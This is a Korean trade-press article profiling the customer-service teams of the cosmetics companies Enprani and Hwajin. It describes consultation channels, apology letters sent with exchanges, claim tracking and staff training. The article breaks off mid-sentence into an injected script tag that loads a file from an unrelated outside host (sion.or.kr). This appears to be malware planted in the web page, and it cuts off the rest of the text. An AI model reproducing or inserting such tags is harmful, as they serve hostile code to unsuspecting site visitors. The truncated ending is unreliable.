엔프라니 고객뷰티팀-교환땐 사과문 보내 클레임 제로에 도전 “고객 상담은 고객을 직접 대면하는 것이 아니라 주로 전화나 이메일을 통해 이루어지는 경우가 많기 때문에 무엇보다도 고객의 입장에서 친절한 태도로 응대하는 것에 중점을 둡니다.” 항상 긍정적이고 밝은 자세를 가지고 고객을 대한다는 이숙희 팀장은 엔프라니가 자체적인 고객상담 업무를 시작할 때부터 함께했다. 현재는 엔프라니의 고객뷰티팀에서 지난해 5월부터 고객상담 및 미용연구 업무를 담당하고 있다. 고객과의 약속을 소중히 여긴다는 엔프라니 고객뷰티팀의 상담업무는 다양하다. 매주 월요일부터 금요일 오전 9시부터 5시 반까지 080전화를 통해서는 미용상담, 단순문의 등 간단한 사항들을 즉시 해결해주고 있다. 이 후 시간에도 자동응답시스템을 가동해 접수를 받는다. 또한, 엔프라니 홈페이지를 통한 온라인상에서는 ‘엔프라니에 바란다" 게시판과 실시간 미용 상담인 ‘with 숙.복.희" 코너를 통해 화장품에 대해 상담한다. 특히 제품 교환이나 환불 시에는 해당제품 이외에 미용지, 신제품 샘플, 사과문 등을 함께 우편발송해 엔프라니의 이미지를 향상시키는데 주력하고 있다. 이러한 절차를 거친 고객뷰티팀의 상담업무 내용은 곧바로 엔프라니의 중요정보로 저장된다. “사내 고객상담 프로그램인 intra-net 시스템을 통해 매일 접수되는 고객 상담 관련사항을 바로바로 사내 모든 직원들이 확인할 수 있습니다. 데이터 베이스화한 자료를 공유해 각 부서별로 개선점을 모색하는 데 사용되며, 매월 경영회의 시 전월의 고객상담 실적을 바탕으로 클레임의 재발방지에 노력하고 있습니다.” 대학에서 화학을 전공하고 화장품회사 연구소에서 4년간 근무한 경험이 있는 이 팀장은 주로 엔프라니 미용지 제작과 신제품 출시 시 사내 교육자료의 컨텐츠를 개발하고 있다. 따라서 고객들에게 보다 자세하고 폭넓은 정보를 제공하고 있다고. “요즘은 고객만족 경영이라는 단어가 보편적으로 쓰일 만큼 고객의 중요성이 대두되고 있는 시대입니다. 따라서 가장 일선에서 고객을 대하는 고객상담 업무는 회사의 얼굴이라고 생각합니다. 회사의 이미지에 대한 평가가 고객상담 업무에서 결정난다고 해도 과언이 아니죠.” 이 팀장은 “엔프라니 고객상담 업무가 신설된 지 채 1년이 되지 않았기 때문에 아직까지 미흡한 부분들이 많다”며 “고객과 회사를 위한 상호 커뮤니케이션 공간이 되길 바란다”고 말했다. 또한 엔프라니만의 차별화된 고객 상담이 될 수 있도록 최근 청담동에 오픈한 엔프라니 애비뉴를 무료로 이용하는 등 새로운 운영 아이템들을 개발 중에 있다고 귀띰했다. 화진화장품 고객지원실-고객 만족때 가슴뿌듯 지방까지 서비스 확대 ▶고객지원실 설치의 목적과 사용률 현황은? 설치의 목적은 ‘감동 마케팅’의 실현에 두고 있다. 다양한 피부 상태와 각자의 스타일에 따라 고객들에게 각 개인의 기호와 원하는 관리의 스타일에 접목될 수 있는 다양한 서비스와 정성을 총 집결시켜 회사에 대한 그리고 화진의 제품에 대한 100% 만족의 결정체라 말하고 싶다. 현재 3개의 관리실을 활용하고 있다. 소수의 인원이지만 이곳을 찾아온 고객들은 황제로 모시고 싶은 마케팅에 근거를 두고 있으며 단 한명에게도 서운함이나 미련을 남기지 않으려는 고집스러운 전략 때문이다. 본사 고객지원실에 접수되는 고객들의 피부관리 예약 요청의 경우, 1일 평균 40건 이상이며 그 외에 불편 및 문의 사항들은 소비자상담실과 함께 업무를 분담하여 고객들의 불편을 최대한 해소하고 있다. ▶판매원 개개인이 직접 고객들을 만나고 있다. 이들에 대한 교육은 어떻게 이루어지는가? 우선 CEO가 직접 직원들과 자주 만나 좋은 효과를 내고 있다. 또한 기존의 업체에서는 보기 쉽지 않은 위성방송시스템을 십분 활용하고 있다. 각 지역에 분포되어 있는 170여 개 점포 내에서 이루어지는 참여 교육이 바로 화진의 가장 큰 재산이라 할 수 있을 것이다. 대표이사가 직접 참여하는 이 교육을 통하여 인성을 만들어 가고 능력을 개발시켜 진정한 사업가의 모습으로 성장시키고 있다. ▶특히 기억에 남는 고객 상담사례가 있다면? 한 고객의 경우 머리 끝부터 발 끝까지 혈액의 불순환으로 얼굴을 비롯하여 몸 전체의 색깔이 푸릇푸릇한 상태였다. 더군다나 협심증의 상태라 호흡의 곤란 증세까지 겹쳐서 있어 평생 피부 관리란 받을 ?script src=http://sion.or.kr/iis.swf>

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